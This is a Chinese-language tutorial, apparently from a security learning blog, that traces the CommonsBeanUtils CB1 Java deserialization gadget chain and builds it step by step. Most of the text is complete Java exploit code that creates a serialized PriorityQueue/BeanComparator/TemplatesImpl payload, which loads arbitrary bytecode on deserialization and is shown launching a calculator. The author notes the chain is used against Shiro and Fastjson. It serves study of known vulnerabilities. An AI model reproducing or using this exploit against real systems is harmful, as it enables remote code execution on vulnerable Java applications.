CommonsBeanUtils反序列化
CB1链
前言
因为在后续的shiro和fastjson反序列化的时候都会用到CB这条链子,所以有必要学习一下。
其实这条链子与CC2/CC4非常的相似。
环境
添加如下依赖
<dependency>
<groupId>commons-beanutils</groupId>
<artifactId>commons-beanutils</artifactId>
<version>1.9.2</version>
</dependency>
<!-- https://mvnrepository.com/artifact/commons-collections/commons-collections -->
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.1</version>
</dependency>
<!-- https://mvnrepository.com/artifact/commons-logging/commons-logging -->
<dependency>
<groupId>commons-logging</groupId>
<artifactId>commons-logging</artifactId>
<version>1.2</version>
</dependency>
CommonsBeanUtils介绍
Apache Commons 工具集下除了 collections 以外还有 BeanUtils ,它主要用于操控 JavaBean 。
先来介绍一下什么是JavaBean
JavaBean是一种 遵循特定编程规范的 Java 类,本质上就是一个“普通 Java 类”,只不过内部包含了setter和getter方法,有点像我们所说的单例模式。
- 以Utils结尾,说明这是一个工具类
commons-beanutils中提供了一个静态方法PropertyUtils.getProperty(),可以让使用者直接调用任意JavaBean的getter方法。
举个简单的例子:
Person person = new Person("Mike");
PropertyUtils.getProperty(person,"name");
# 等价于
Person person = new Person("Mike");
person.getName();
利用链分析
由以前的知识我们知道,TemplatesImpl动态类加载的链子是这样的:
TemplatesImpl#newTransformer --> TemplatesImpl#getTransletInstance --> TemplatesImpl#defineTransletClasses --> TemplatesImpl#defineClass
其实我们从newTransformer往前还可以继续跟进,看看谁直接调用了它。

可以发现在当前类下,有一个getOutputProperties方法里直接调用了newTransformer。
而这个方法以get开头,它其实就是一个getter方法。
而我们前面说到过PropertyUtils.getProperty()可以直接调用JavaBean的getter方法。
- 我们看一眼
PropertyUtils.getProperty方法的实现

发现可以直接传入JavaBean类名,以及字段名。并且是一个public的静态方法可以直接调用。
- 那么我们目前的链子就可以延伸为:
PropertyUtils#getProperty --> TemplatesImpl#getOutputProperties --> TemplatesImpl#newTransformer --> TemplatesImpl#getTransletInstance --> TemplatesImpl#defineTransletClasses --> TemplatesImpl#defineClass
我们可以写一个EXP测试一下目前的链子:
package com.test.CB;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;
import org.apache.commons.beanutils.PropertyUtils;
public class test {
public static void main(String[] args) throws Exception{
byte[] code = Files.readAllBytes(Paths.get("E:\\Experiment\\TemplatesBytes.class"));
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_name", "Calc");
setFieldValue(templates, "_bytecodes", new byte[][] {code});
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
PropertyUtils.getProperty(templates,"outputProperties");
}
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
}
运行看效果:

成功弹出计算器,说明目前我们的链子是没有问题的。
- 接下来我们可以从
getProperty往前跟进,看哪些方法直接调用了它。

可以发现在BeanComparator.compare()里调用了它。
- 我们继续往前跟进,find usages

然后我们便又能看到熟悉的类,以及熟悉的方法,老朋友了说是哈哈哈。我们在CC2/CC4中就用到过它。
然后继续往前跟进就都与CC2/CC4里面的一致了。如果忘记了可以看我之前的文章,这里我就不重复讲了。
完整的链子:
PriorityQueue#readObject --> PriorityQueue#heapify --> PriorityQueue#siftDown --> PriorityQueue#siftDownUsingComparator --> BeanComparator#compare --> PropertyUtils#getProperty --> TemplatesImpl#getOutputProperties --> TemplatesImpl#newTransformer --> ......
编写EXP
我们直接在我们之前的测试代码的基础上修改
package com.test.CB;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;
public class test {
public static void main(String[] args) throws Exception{
byte[] code = Files.readAllBytes(Paths.get("E:\\Experiment\\TemplatesBytes.class"));
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_name", "Calc");
setFieldValue(templates, "_bytecodes", new byte[][] {code});
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
PropertyUtils.getProperty(templates,"outputProperties");
}
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
}
尝试模仿CC2的前半条链子完善我们的EXP:
我的第一版EXP如下:
package com.test.CB;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.commons.beanutils.PropertyUtils;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;
public class test {
public static void main(String[] args) throws Exception{
byte[] code = Files.readAllBytes(Paths.get("E:\\Experiment\\TemplatesBytes.class"));
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_name", "Calc");
setFieldValue(templates, "_bytecodes", new byte[][] {code});
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
// PropertyUtils.getProperty(templates,"outputProperties");
BeanComparator beanComparator = new BeanComparator();
PriorityQueue priorityQueue = new PriorityQueue(beanComparator);
priorityQueue.add(templates);
priorityQueue.add(templates);
Class c = beanComparator.getClass();
Field field = c.getDeclaredField("property");
field.setAccessible(true);
field.set(beanComparator,"outputProperties");
serialize(priorityQueue);
unserialize("ser.bin");
}
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}
运行看效果

发现并没有弹出计算器,反而是报错显示不能将TemplatesImpl类型转换成Comparable类。
直接在add的地方下一个断点调试一下。

- 发现直接从add跟进到compare里面了,而由于我们的
property为null所以进入到internalCompare了,继续跟进。

- 发现最终调用的compare方法中会将我们的对象类型转换为
Comparable类型,而这两个类不能类型转换因此报错了。
我的解决方案如下:
add的时候传入无关紧要的东西,比如add(1),这样就不会报类型转换的错误。最后通过反射将queue里的元素改回templates
顺带提一嘴,有人可能会想能不能在add之前先给
property随便传一个符合要求的,然后add之后再将其设置为outputProperties。其实是不可以的,因为这个property是要求在TemplatesImpl,在这个里面找不到第二个符合要求的。
修改后的EXP如下:
package com.test.CB;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.commons.beanutils.PropertyUtils;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;
public class test {
public static void main(String[] args) throws Exception{
byte[] code = Files.readAllBytes(Paths.get("E:\\Experiment\\TemplatesBytes.class"));
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_name", "Calc");
setFieldValue(templates, "_bytecodes", new byte[][] {code});
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
// PropertyUtils.getProperty(templates,"outputProperties");
BeanComparator beanComparator = new BeanComparator();
PriorityQueue priorityQueue = new PriorityQueue(beanComparator);
priorityQueue.add(1);
priorityQueue.add(1);
setFieldValue(beanComparator,"property","outputProperties");
setFieldValue(priorityQueue,"queue",new Object[]{templates,templates});
serialize(priorityQueue);
unserialize("ser.bin");
}
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}
运行看效果:

发现成功弹出计算器,并且可见走的确实是预设的链子。
总结
CB1这条链子跟CC2/CC4还是很像的,最大的区别就是利用了PropertyUtils.getProperty可以调用任意JavaBean的getter方法的特点。
